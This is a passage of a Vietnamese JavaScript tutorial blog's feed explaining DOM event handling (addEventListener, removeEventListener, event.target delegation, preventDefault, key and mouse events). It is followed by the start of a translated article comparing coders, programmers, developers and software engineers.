9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đăng ký Event JavaScript</h3> <p>Ở bài viết trước về <a href="/co-ban-ve-dom-javascript/">DOM</a>, bạn biết rằng mỗi phần tử trên trang web là một node. Và chúng ta có thể đăng ký nhận sự kiện cho mỗi node này bằng cách sử dụng phương thức <strong>addEventListener</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Node<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'tên sự kiện'</span><span class="token punctuation">,</span> hàm xử lý<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Node: là một phần tử DOM như: <em>document, body, h1, p, img, button</em>,... Nếu bạn không ghi gì thì mặc node đó là <em>document</em>.</li> <li>Tên sự kiện: ứng với sự kiện mà bạn muốn nhận như: <em>click, mousedown, mouseup, mousemove, keydown, keyup, keypress,...</em></li> <li>Hàm xử lý: là hàm được gọi khi sự kiện bạn đăng ký xảy với node trên.</li> </ul> <p><strong>Chú ý</strong>: với một JS event, bạn có thể đăng ký nhiều hàm xử lý. Khi đó, hàm đăng ký trước sẽ được gọi trước.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func1</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"function 1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">func2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"function 2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> func1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> func2<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ trên, mình đã đăng kí sự kiện <em>click</em> cho d<em>ocument</em> với hai hàm xử lý là <em>func1</em> và <em>func2</em>. Từ nay, mỗi khi bạn click chuột trái vào trang web thì hàm <em>func1</em> sẽ được gọi trước, sau đó đến hàm <em>func2</em>.</p> <h3 id="huỷ-đăng-ký-event-javascript" style="position:relative;"><a href="#hu%E1%BB%B7-%C4%91%C4%83ng-k%C3%BD-event-javascript" aria-label="huỷ đăng ký event javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Huỷ đăng ký Event JavaScript</h3> <p>Tương tự, để huỷ event trong JavaScript đã đăng ký, bạn có thể sử dụng phương thức <strong>removeEventListener</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Node<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">'tên sự kiện'</span><span class="token punctuation">,</span> hàm xử lý<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func1</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"function 1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">func2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"function 2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> func1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> func2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> func1<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo ví dụ trên, nếu mình huỷ đăng ký sự kiện <em>click</em> trên <em>document</em> với hàm <em>func1</em> bằng phương thức sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> func1<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thì bây giờ, mỗi khi bạn click chuột trái vào trang web, chỉ có hàm <em>func2</em> được gọi.</p> <h3 id="đăng-ký-event-cho-nhiều-node-dựa-trên-đối-tượng-event" style="position:relative;"><a href="#%C4%91%C4%83ng-k%C3%BD-event-cho-nhi%E1%BB%81u-node-d%E1%BB%B1a-tr%C3%AAn-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-event" aria-label="đăng ký event cho nhiều node dựa trên đối tượng event permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đăng ký event cho nhiều node dựa trên đối tượng event</h3> <p>Bình thường để đăng ký event trong JavaScript cho nhiều node bạn có thể sử dụng phương thức <strong><em>addEventListener</em></strong> cho mỗi node. Tuy nhiên, bạn có thể chỉ cần sử dụng phương thức trên 1 lần và sử dụng thuộc tính target của <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> event để phân biệt node được gọi.</p> <p>Hãy xem ví dụ sau:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span><span class="token punctuation">></span></span>A<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span><span class="token punctuation">></span></span>B<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span><span class="token punctuation">></span></span>C<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Hello<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>nodeName <span class="token operator">==</span> <span class="token string">"BUTTON"</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Clicked"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>textContent<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>nodeName <span class="token operator">==</span> <span class="token string">"P"</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Paragraph clicked"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>textContent<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Trong ví dụ trên, mình chỉ cần gọi phương thức <strong>addEventListener</strong> một lần. Sau đó, mình chỉ cần sử dụng <em>event.target.nodeName</em> để biết được node nào thật sự được <em>click</em>.</p> <h3 id="huỷ-hàm-thực-hiện-mặc-định-với-js-event" style="position:relative;"><a href="#hu%E1%BB%B7-h%C3%A0m-th%E1%BB%B1c-hi%E1%BB%87n-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh-v%E1%BB%9Bi-js-event" aria-label="huỷ hàm thực hiện mặc định với js event permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Huỷ hàm thực hiện mặc định với JS event</h3> <p>Một số Event JavaScript có sẵn hàm thực hiện mặc định. Ví dụ: khi bạn click vào một link thì bạn sẽ được chuyển hướng đến trang của link đó, hay khi bạn click chuột phải thì sẽ có một context menu hiện ra,...</p> <p>Tuy nhiên, nếu bạn không muốn thực hiện những hàm mặc định đó thì bạn có thể sử dụng phương thức <strong>preventDefault</strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://developer.mozilla.org/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>MDN<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token keyword">var</span> link <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> link<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Nope."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> event<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Trong ví dụ trên, khi bạn nhấn vào link thì bạn sẽ không được chuyển đến trang <a href="https://developer.mozilla.org">https://developer.mozilla.org</a>.</p> <h2 id="một-số-event-javascript-cơ-bản" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-event-javascript-c%C6%A1-b%E1%BA%A3n" aria-label="một số event javascript cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số Event JavaScript cơ bản</h2> <h3 id="key-event" style="position:relative;"><a href="#key-event" aria-label="key event permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Key event</h3> <p>Key event là sự kiện khi bạn nhấn vào một key trên bàn phím. Có 3 sự kiện với key là:</p> <ul> <li>keydown: được gọi khi bạn nhấn xuống một key</li> <li>keyup: được gọi khi bạn nhả key đó ra</li> <li>keypress: được gọi khi bạn nhấn và giữ key</li> <li>...</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>keyCode<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"keyup"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"keyup"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>keyCode<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"keypress"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"keypress"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>keyCode<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ này, mình ghi ra giá trị <em>keyCode</em> của phím được nhấn dựa vào đối tượng <em>event (keyEvent</em> ở đây là giá trị số nguyên của từng phím trong bảng mã Unicode).</p> <p><strong>Chú ý:</strong> với sự kiện <em>keydown</em> và <em>keyup</em> thì giá trị sẽ ứng với chữ cái thường, trong khi sự kiện <em>keypress</em> thì ta sẽ có giá trị của chữ cái viết hoa. Tức là nếu bạn nhấn phím 'a' thì kết quả sẽ là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">keydown 65 keypress 97 keyup 65</code></pre></div> <p>Ngoài ra bạn có thể xử lý việc nhấn tổ hợp phím như ví dụ sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>ctrlKey<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token string">"ctrlKey"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>keyCode<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>shiftKey<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token string">"shiftKey"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>keyCode<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>altKey<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"keydown"</span><span class="token punctuation">,</span> <span class="token string">"altKey"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>keyCode<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="mouse-event" style="position:relative;"><a href="#mouse-event" aria-label="mouse event permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mouse Event</h3> <p>Mouse event là sự kiện khi bạn nhấn hay di chuyển chuột. Một số sự kiện với chuột là:</p> <ul> <li>click: được gọi khi bạn nhấn chuột 1 lần</li> <li>dblclick: được gọi khi bạn nhấn chuột nhanh 2 lần</li> <li>mousedown: được gọi khi bạn nhấn chuột xuống</li> <li>mouseup: được gọi khi bạn nhả chuột ra</li> <li>mousemove: được gọi khi bạn nhấn và kéo chuột</li> <li>...</li> </ul> <p>Đối với sự kiện nhấn chuột, có nhiều bài toán mà bạn sẽ cần phải xác định vị trí nhấn chuột, kéo chuột,... mình sẽ giới thiệu với bạn ở một bài viết khác sau.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là một số cách xử lý Event JavaScript cơ bản. Mình có thể tóm tắt lại như sau:</p> <ul> <li>addEventListener : đăng ký sự kiện</li> <li>removeEventListener : huỷ đăng ký sự kiện</li> <li>preventDefault: bỏ đi hàm xử lý mặc định với sự kiện</li> <li>Một số sự kiện với key: keydown, keyup, keypress,...</li> <li>Một số sự kiện với mouse: click, dbclick, mousedown, mouseup, mousemove,...</li> </ul> <p>Hy vọng bạn có thể nắm được những kiến thức cơ bản về JS event.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="http://eloquentjavascript.net/15_event.html">Handling Events</a></li> <li>Bài tập thực hành: <a href="https://github.com/completejavascript/practical-javascript/blob/master/handling-events/censored_keyboard_completejavascript.com.js">Censored keyboard</a>, <a href="https://github.com/completejavascript/practical-javascript/blob/master/handling-events/tabs_completejavascript.com.js">tabs</a>.</li> </ul>[email protected]<![CDATA[Phân biệt coder, programmer, developer và software engineer]]><![CDATA[Bài viết được dịch từ website Technotification của tác giả Vicky Singh Rao về cách phân biệt giữa Coder, Programmer, Developer và Software Engineer. Có thể bạn đã được nghe về…]]>https://completejavascript.com/phan-biet-coder-programmer-developer-va-software-engineer/https://completejavascript.com/phan-biet-coder-programmer-developer-va-software-engineer/<![CDATA[Dịch blog]]>Sun, 06 Aug 2017 09:25:42 GMT<p>Bài viết được dịch từ website <a href="https://www.technotification.com/2017/06/coder-programmer-developer-difference.html">Technotification</a> của tác giả <a href="https://www.technotification.com/author/vicky">Vicky Singh Rao</a> về cách phân biệt giữa Coder, Programmer, Developer và Software Engineer.</p> <p>Có thể bạn đã được nghe về những chức danh công việc này trước đây rồi, nhưng chính xác thì sự khác nhau giữa chúng là gì?</p> <p>Một vài người nói rằng nó chủ yếu dựa vào học vấn của bạn và những gì mà bạn đạt được. Một cách nào đó, điều này có thể là đúng, nhưng một vài người khác nói rằng đôi khi công ty của bạn sẽ quyết định bạn là Programmer, Developer hay những chức danh khác. Do đó, đây chỉ đơn thuần là chức danh công việc.</p> <p>Chúng ta hãy xem xét kĩ vấn đề này.</p> <h2 id="chính-xác-sự-khác-nhau-giữa-coder-programmer-developer-và-software-engineer-là-gì" style="position:relative;"><a href="#ch%C3%ADnh-x%C3%A1c-s%E1%BB%B1-kh%C3%A1c-nhau-gi%E1%BB%AFa-coder-programmer-developer-v%C3%A0-software-engineer-l%C3%A0-g%C3%AC" aria-label="chính xác sự khác nhau giữa coder programmer developer và software engineer là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chính xác sự khác nhau giữa Coder, Programmer, Developer và Software Engineer là gì?</h2> <h3 id="coder" style="position:relative;"><a href="#coder" aria-label="coder permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Coder</h3> <p>Coder là người phụ trách việc viết code - làm cho hầu hết những ứng dụng của chúng ta chạy đúng. Những người này có khả năng tạo ra phần mềm, không chỉ được sử dụng trong các ứng dụng mà còn trong game, nền tảng truyền thông xã hội và nhiều thứ khác nữa.</p> <p>Coder đôi khi không thể thực hiện được hết tất cả các giai đoạn yêu cầu trong việc xây dựng một phần mềm, như thiết kế, kiểm thử; họ hầu như chỉ làm một phần công việc trong giai đoạn viết code cơ bản.</p> <p>Trong một vài trường hợp, có nhiều người sẽ cảm thấy bị xúc phạm khi bạn gọi họ là Coder.</p> <h3 id="programmer" style="position:relative;"><a href="#programmer" aria-label="programmer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Programmer</h3> <p>Programmer là người có chuyên môn hơn một chút. Họ có thể tạo ra phần mềm máy tính ở bất kỳ ngôn ngữ lập trình máy tính cơ bản nào, như Java, Python, Lisp,...</p> <p>Programmer được cho là vượt xa Coder, họ có thể chỉ <a href="/anh-che-vui-5-specialist-vs-generalist-winner/">chuyên môn trong một lĩnh vực</a> hay thậm chí là viết hướng dẫn cho nhiều loại hệ thống khác nhau.</p> <p>Programmer cũng am hiểu khá tốt về thuật toán. Họ cũng khá giống với Developer nhưng khác ở chỗ là Programmer chủ yếu chỉ triển khai hệ thống, trong khi Developer có thể thiết kế hoặc xây dựng một cấu trúc dữ liệu tốt trong phần mềm.</p> <p>Ngoài ra, Programmer sẽ quan tâm nhiều hơn vào chi tiết.</p> <h3 id="developer" style="position:relative;"><a href="#developer" aria-label="developer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" 